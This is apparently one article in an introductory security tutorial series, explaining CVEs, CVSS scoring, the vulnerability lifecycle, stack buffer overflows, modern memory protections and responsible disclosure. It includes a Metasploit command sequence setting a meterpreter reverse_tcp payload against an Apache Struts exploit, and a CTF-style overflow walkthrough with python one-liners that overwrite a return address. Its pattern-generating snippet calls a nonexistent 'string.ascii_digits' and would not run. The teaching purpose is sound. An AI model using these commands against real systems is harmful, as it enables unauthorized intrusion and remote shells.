Exploitation basics and CVEs
In this series (16 parts)
- How attackers think: the attacker mindset
- Networking fundamentals for security
- Cryptography fundamentals
- Public key infrastructure and certificates
- Authentication and authorization
- Web application security: OWASP Top 10
- Network attacks and defenses
- Linux privilege escalation
- Windows security fundamentals
- Malware types and analysis basics
- Reconnaissance and OSINT
- Exploitation basics and CVEs
- Post-exploitation and persistence
- Defensive security: hardening and monitoring
- Incident response
- CTF skills and practice labs
A vulnerability is a flaw in software that can be exploited to make it do something unintended. A CVE is a unique identifier for a publicly known vulnerability. An exploit is the code or technique that takes advantage of the vulnerability. Understanding this lifecycle, from discovery to patch, is essential for both attackers and defenders.
Prerequisites
You should understand how attackers think and web application vulnerabilities.
The CVE system
CVE (Common Vulnerabilities and Exposures) is a standardized naming system for vulnerabilities. Each vulnerability gets a unique ID like CVE-2024-12345.
The format is: CVE-YEAR-NUMBER
# Look up a CVE
# Example: Log4Shell (one of the most impactful recent CVEs)
# CVE-2021-44228
# https://nvd.nist.gov/vuln/detail/CVE-2021-44228
CVSS scoring
CVSS (Common Vulnerability Scoring System) rates the severity of vulnerabilities on a 0-10 scale.
| Score | Severity | Example |
|---|---|---|
| 0.0 | None | Informational |
| 0.1 - 3.9 | Low | Minor info leak |
| 4.0 - 6.9 | Medium | XSS requiring user interaction |
| 7.0 - 8.9 | High | SQL injection in authenticated area |
| 9.0 - 10.0 | Critical | Remote code execution, no auth needed |
CVSS considers:
- Attack Vector: Network, Adjacent, Local, Physical
- Attack Complexity: Low, High
- Privileges Required: None, Low, High
- User Interaction: None, Required
- Impact: Confidentiality, Integrity, Availability (each: None, Low, High)
A vulnerability with Network attack vector, Low complexity, No privileges, No user interaction, and High impact on all three categories scores near 10.0. That is the worst case: an unauthenticated attacker on the network can fully compromise the system.
The vulnerability lifecycle
graph LR A[Discovery] --> B[Disclosure] B --> C[CVE Assignment] C --> D[Patch Development] D --> E[Patch Release] E --> F[Adoption] A -.->|Zero-day| G[Exploitation in the Wild] G -.-> B style A fill:#64b5f6,stroke:#1976d2,color:#000 style E fill:#81c784,stroke:#388e3c,color:#000 style G fill:#ef5350,stroke:#c62828,color:#fff
Discovery: a researcher, attacker, or automated tool finds a vulnerability.
Disclosure: the discoverer reports it to the vendor (responsible disclosure) or publishes it publicly (full disclosure). Some sell it on exploit markets.
Zero-day: a vulnerability that is exploited before the vendor knows about it. The term “zero-day” means the vendor has had zero days to fix it.
Patch release: the vendor publishes a fix. Now the race begins: defenders must apply the patch before attackers reverse-engineer it to build exploits.
N-day: a vulnerability with an available patch that has not been applied. Most successful attacks exploit N-days, not zero-days. Patching is the most effective defense.
Buffer overflow concept
Buffer overflows are one of the oldest and most important classes of vulnerabilities. They occur when a program writes more data to a memory buffer than it can hold, overwriting adjacent memory.
The stack
When a function is called, the CPU saves information on the stack:
- Local variables
- The return address (where to continue after the function finishes)
- The saved base pointer
graph TD
subgraph Stack Growth Direction
A["High Memory"] --> B["Return Address"]
B --> C["Saved Base Pointer"]
C --> D["Local Variable: buffer 64 bytes"]
D --> E["Low Memory"]
end
style B fill:#ef5350,stroke:#c62828,color:#fff
style D fill:#64b5f6,stroke:#1976d2,color:#000
How the overflow works
A vulnerable C function:
void vulnerable_function(char *input) {
char buffer[64]; // Only 64 bytes allocated
strcpy(buffer, input); // No length check!
}
If input is 100 bytes, strcpy writes past the end of buffer and overwrites the return address. The attacker crafts the input so the overwritten return address points to their code (shellcode) or to existing code they want to execute (return-oriented programming).
Conceptual walkthrough
Normal stack:
[buffer: 64 bytes of data] [saved BP] [return address -> main()]
After overflow with 80 bytes of input:
[AAAA...64 bytes...AAAA] [AAAA] [0xDEADBEEF -> attacker's code]
When the function returns, the CPU jumps to 0xDEADBEEF instead of the legitimate return address. If the attacker placed their shellcode at that address, they now have code execution.
Modern protections
| Protection | What it does | Bypass |
|---|---|---|
| Stack canaries | Random value before return address; checked on function return | Leak the canary value |
| ASLR | Randomize memory layout | Information leak to find base addresses |
| DEP/NX | Mark stack as non-executable | Return-Oriented Programming (ROP) |
| PIE | Randomize executable base address | Information leak |
These protections make exploitation harder but not impossible. Real-world exploits chain multiple techniques to bypass multiple protections.
Metasploit overview (conceptual)
Metasploit is a framework for developing and executing exploit code. It is the most widely used exploitation tool in penetration testing.
Components:
- Exploits: code that triggers a vulnerability
- Payloads: code that runs after successful exploitation (reverse shell, meterpreter)
- Auxiliary: scanning, fuzzing, brute-forcing modules
- Post-exploitation: modules for privilege escalation, credential dumping, lateral movement
A typical Metasploit workflow:
# 1. Search for an exploit
msfconsole
msf6> search type:exploit name:apache
# 2. Select an exploit
msf6> use exploit/multi/http/apache_struts_rce
# 3. Set options
msf6> set RHOSTS 192.168.1.100
msf6> set RPORT 8080
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6> set LHOST 10.0.0.50
# 4. Execute
msf6> exploit
⚠ Metasploit should only be used in authorized penetration tests and CTF environments.
Responsible disclosure
When you find a vulnerability, you have an ethical obligation to report it responsibly:
- Report to the vendor through their security contact or bug bounty program
- Provide technical details so they can reproduce and fix it
- Set a reasonable deadline (90 days is standard)
- Do not disclose publicly until the vendor has had time to patch
- Do not exploit it beyond what is needed to confirm and demonstrate the vulnerability
Many organizations have bug bounty programs that pay for vulnerability reports. HackerOne, Bugcrowd, and Synack are major platforms.
Example 1: Trace a buffer overflow step by step
Here is a conceptual walkthrough of exploiting a simple buffer overflow in a CTF:
Step 1: Identify the vulnerability
The binary takes user input without length checking:
# Run the program with a long input
python3 -c "print('A' * 100)" | ./vulnerable_program
Output:
Segmentation fault (core dumped)
A segfault with long input suggests a buffer overflow.
Step 2: Find the exact offset
# Use a pattern to find exactly where the return address is
python3 -c "
# Generate a cyclic pattern
import string
pattern = ''
for a in string.ascii_uppercase:
for b in string.ascii_uppercase:
for c in string.ascii_digits:
pattern += a + b + c
if len(pattern) >= 100:
break
if len(pattern) >= 100:
break
if len(pattern) >= 100:
break
print(pattern[:100])
" | ./vulnerable_program
In a debugger, the return address was overwritten with bytes from offset 72. So the buffer is 64 bytes + 8 bytes of saved base pointer = 72 bytes before the return address.
Step 3: Control the return address
python3 -c "print('A' * 72 + '\xef\xbe\xad\xde')" | ./vulnerable_program
If the program tries to jump to 0xDEADBEEF, you have control of the instruction pointer.
Step 4: In a real exploit, the return address would point to shellcode or a ROP chain.
Example 2: Understanding CVE severity in practice
Let’s compare two real CVEs:
CVE-2021-44228 (Log4Shell) - CVSS 10.0
- Affected: Apache Log4j 2.x
- Attack vector: Network (send a crafted string to any logged field)
- Complexity: Low
- Privileges: None
- User interaction: None
- Impact: Full RCE on the server
This was critical because Log4j is used in millions of Java applications, the exploit was trivial (a single string), and it gave full remote code execution.
CVE-2023-32233 - CVSS 7.8
- Affected: Linux kernel (Netfilter)
- Attack vector: Local (need a shell first)
- Complexity: Low
- Privileges: Low
- User interaction: None
- Impact: Local privilege escalation to root
This is high severity because it enables privilege escalation, but it requires the attacker to already have local access.
The difference in CVSS score reflects the attack vector: remote with no auth (10.0) vs local with low privileges (7.8).
What comes next
The next article covers Post-exploitation and persistence, where you will learn what attackers do after gaining access and how they maintain it.
For the defensive response to exploitation, see Incident response.